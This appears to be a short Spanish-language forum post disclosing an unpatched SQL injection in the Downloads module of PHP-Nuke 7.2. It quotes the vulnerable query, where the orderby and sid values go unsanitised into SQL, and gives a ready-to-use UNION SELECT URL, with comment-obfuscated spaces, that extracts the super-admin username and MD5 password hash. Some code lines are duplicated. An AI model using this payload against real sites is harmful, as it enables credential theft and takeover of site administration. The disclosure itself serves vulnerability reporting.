Autor
Esta falla se encuentra en la variable orderby en las siguientes lineas de codigo en el index.php de donwload en la linea 901
Código:
$result=$db->sql_query("
SELECT lid, url, title, description, date, hits, downloadratingsummary, totalvotes,
totalcomments, filesize, version, homepage
FROM ".$prefix."_downloads_downloads
WHERE sid=$sid
order by $orderby
limit $min,$perpage
");
SELECT lid, url, title, description, date, hits, downloadratingsummary, totalvotes,
totalcomments, filesize, version, homepage
FROM ".$prefix."_downloads_downloads
WHERE sid=$sid
order by $orderby
limit $min,$perpage
");
Mediante el siguiente querry se hace la peticion para obtener los md5
Código:
localhost/nuke72/modules.php?name=Downloads
&d_op=viewsdownload&sid=-1/**/UNION/**/SELECT/**/0,0,aid,pwd,0,0,0,0,0,0,0,0/**
/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/
**/LIMIT/**/1/*
&d_op=viewsdownload&sid=-1/**/UNION/**/SELECT/**/0,0,aid,pwd,0,0,0,0,0,0,0,0/**
/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/
**/LIMIT/**/1/*
Hasta ahora no se ha sacado parche.
http://www.net-security.org/vuln.php?id=3434
Fuente:
http://www.darkbicho.tk/
En línea
